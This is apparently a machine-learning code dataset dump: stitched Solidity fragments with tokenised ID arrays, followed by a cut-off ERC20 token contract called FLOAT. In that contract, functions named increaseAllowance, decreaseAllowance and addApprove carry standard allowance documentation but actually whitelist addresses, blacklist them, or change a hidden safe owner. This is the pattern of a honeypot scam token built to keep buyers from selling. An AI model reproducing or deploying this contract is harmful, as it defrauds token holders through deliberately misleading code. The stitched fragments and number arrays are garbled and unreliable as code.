constant _NUM_OF_VOTES = 0x1da378694063870452ce03b189f48e04c1aa026348e74e6c86e10738514ad2c4; //keccak256("_NUM_OF_VOTES"); bytes32 constant _OLD_TELLOR = 0x56e0987db9eaec01ed9e0af003a0fd5c062371f9d23722eb4a3ebc74f16ea371; //keccak256("_OLD_TELLOR"); bytes32 constant _ORIGINAL_ID = 0xed92b4c1e0a9e559a31171d487ecbec963526662038ecfa3a71160bd62fb8733; //keccak256("_ORIGINAL_ID"); bytes32 constant _OWNER = 0x7a39905194de50bde334d18b76bbb36dddd11641d4d50b470cb837cf3bae5def; //keccak256("_OWNER"); bytes32 constant _PAID = 0x29169706298d2b6df50a532e958b56426de1465348b93650fca42d456eaec5fc; //keccak256("_PAID"); bytes32 constant _PENDING_OWNER = 0x7ec081f029b8ac7e2321f6ae8c6a6a517fda8fcbf63cabd63dfffaeaafa56cc0; //keccak256("_PENDING_OWNER"); bytes32 constant _REQUEST_COUNT = 0x3f8b5616fa9e7f2ce4a868fde15c58b92e77bc1acd6769bf1567629a3dc4c865; //keccak256("_REQUEST_COUNT"); bytes32 constant _REQUEST_ID = 0x9f47a2659c3d32b749ae717d975e7962959890862423c4318cf86e4ec220291f; //keccak256("_REQUEST_ID"); bytes32 constant _REQUEST_Q_POSITION = 0xf68d680ab3160f1aa5d9c3a1383c49e3e60bf3c0c031245cbb036f5ce99afaa1; //keccak256("_REQUEST_Q_POSITION"); bytes32 constant _SLOT_PROGRESS = 0xdfbec46864bc123768f0d134913175d9577a55bb71b9b2595fda21e21f36b082; //keccak256("_SLOT_PROGRESS"); bytes32 constant _STAKE_AMOUNT = 0x5d9fadfc729fd027e395e5157ef1b53ef9fa4a8f053043c5f159307543e7cc97; //keccak256("_STAKE_AMOUNT"); bytes32 constant _STAKE_COUNT = 0x10c168823622203e4057b65015ff4d95b4c650b308918e8c92dc32ab5a0a034b; //keccak256("_STAKE_COUNT"); bytes32 constant _T_BLOCK = 0xf3b93531fa65b3a18680d9ea49df06d96fbd883c4889dc7db866f8b131602dfb; //keccak256("_T_BLOCK"); bytes32 constant _TALLY_DATE = 0xf9e1ae10923bfc79f52e309baf8c7699edb821f91ef5b5bd07be29545917b3a6; //keccak256("_TALLY_DATE"); bytes32 constant _TARGET_MINERS = 0x0b8561044b4253c8df1d9ad9f9ce2e0f78e4bd42b2ed8dd2e909e85f750f3bc1; //keccak256("_TARGET_MINERS"); bytes32 constant _TELLOR_CONTRACT = 0x0f1293c916694ac6af4daa2f866f0448d0c2ce8847074a7896d397c961914a08; //keccak256("_TELLOR_CONTRACT"); bytes32 constant _TELLOR_GETTERS = 0xabd9bea65759494fe86471c8386762f989e1f2e778949e94efa4a9d1c4b3545a; //keccak256("_TELLOR_GETTERS"); bytes32 constant _TIME_OF_LAST_NEW_VALUE = 0x2c8b528fbaf48aaf13162a5a0519a7ad5a612da8ff8783465c17e076660a59f1; //keccak256("_TIME_OF_LAST_NEW_VALUE"); bytes32 constant _TIME_TARGET = 0xd4f87b8d0f3d3b7e665df74631f6100b2695daa0e30e40eeac02172e15a999e1; //keccak256("_TIME_TARGET"); bytes32 constant _TIMESTAMP = 0x2f9328a9c75282bec25bb04befad06926366736e0030c985108445fa728335e5; //keccak256("_TIMESTAMP"); bytes32 constant _TOTAL_SUPPLY = 0xe6148e7230ca038d456350e69a91b66968b222bfac9ebfbea6ff0a1fb7380160; //keccak256("_TOTAL_SUPPLY"); bytes32 constant _TOTAL_TIP = 0x1590276b7f31dd8e2a06f9a92867333eeb3eddbc91e73b9833e3e55d8e34f77d; //keccak256("_TOTAL_TIP"); bytes32 constant _VALUE = 0x9147231ab14efb72c38117f68521ddef8de64f092c18c69dbfb602ffc4de7f47; //keccak256("_VALUE"); bytes32 constant _EIP_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; }
* @dev Returns the amount of tips available for a specific query ID @param _queryId is ID of the specific data feed @return uint256 of the amount of tips added for the specific ID/
function getTipsById(bytes32 _queryId) external view returns (uint256) { return tips[_queryId]; }
6,383,905
[ 1, 1356, 326, 3844, 434, 31606, 2319, 364, 279, 2923, 843, 1599, 225, 389, 2271, 548, 353, 1599, 434, 326, 2923, 501, 4746, 327, 2254, 5034, 434, 326, 3844, 434, 31606, 3096, 364, 326, 2923, 1599, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3181, 7146, 5132, 12, 3890, 1578, 389, 2271, 548, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 31606, 63, 67, 2271, 548, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x700d6d24A55512c6AEC08820B49da4e4193105B3/sources/src/Minter.sol
* @dev Pulls multiple tokens to deposit in the associated Locker & mints WAR based on the deposited amounts @param vlTokens List of address of tokens to deposit @param amounts List of amounts to deposit @param receiver Address to receive the minted WAR/
function _mintMultiple(address[] calldata vlTokens, uint256[] calldata amounts, address receiver) internal { if (vlTokens.length != amounts.length) revert Errors.DifferentSizeArrays(vlTokens.length, amounts.length); if (vlTokens.length == 0) revert Errors.EmptyArray(); uint256 length = vlTokens.length; for (uint256 i; i < length;) { _mint(vlTokens[i], amounts[i], receiver); unchecked { ++i; } } }
3,008,463
[ 1, 9629, 87, 3229, 2430, 358, 443, 1724, 316, 326, 3627, 3488, 264, 473, 312, 28142, 678, 985, 2511, 603, 326, 443, 1724, 329, 30980, 225, 19755, 5157, 987, 434, 1758, 434, 2430, 358, 443, 1724, 225, 30980, 987, 434, 30980, 358, 443, 1724, 225, 5971, 5267, 358, 6798, 326, 312, 474, 329, 678, 985, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 81, 474, 8438, 12, 2867, 8526, 745, 892, 19755, 5157, 16, 2254, 5034, 8526, 745, 892, 30980, 16, 1758, 5971, 13, 2713, 288, 203, 565, 309, 261, 10872, 5157, 18, 2469, 480, 30980, 18, 2469, 13, 15226, 9372, 18, 26270, 1225, 12726, 12, 10872, 5157, 18, 2469, 16, 30980, 18, 2469, 1769, 203, 565, 309, 261, 10872, 5157, 18, 2469, 422, 374, 13, 15226, 9372, 18, 1921, 1076, 5621, 203, 565, 2254, 5034, 769, 273, 19755, 5157, 18, 2469, 31, 203, 565, 364, 261, 11890, 5034, 277, 31, 277, 411, 769, 30943, 288, 203, 1377, 389, 81, 474, 12, 10872, 5157, 63, 77, 6487, 30980, 63, 77, 6487, 5971, 1769, 203, 1377, 22893, 288, 203, 3639, 965, 77, 31, 203, 1377, 289, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x89f5a6fADeB98E2d4F9d57d3600C1815D8C41956/sources/contracts/SnowmanNFT.sol
max_supply = _max_supply; _admin = admin; marketPlaceContract = _marketPlaceContract;
{ _baseTokenURI = "b"; }
767,152
[ 1, 1896, 67, 2859, 1283, 273, 389, 1896, 67, 2859, 1283, 31, 389, 3666, 273, 3981, 31, 13667, 6029, 8924, 273, 389, 27151, 6029, 8924, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 389, 1969, 1345, 3098, 273, 315, 70, 14432, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-03-21 */ pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract FLOAT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * 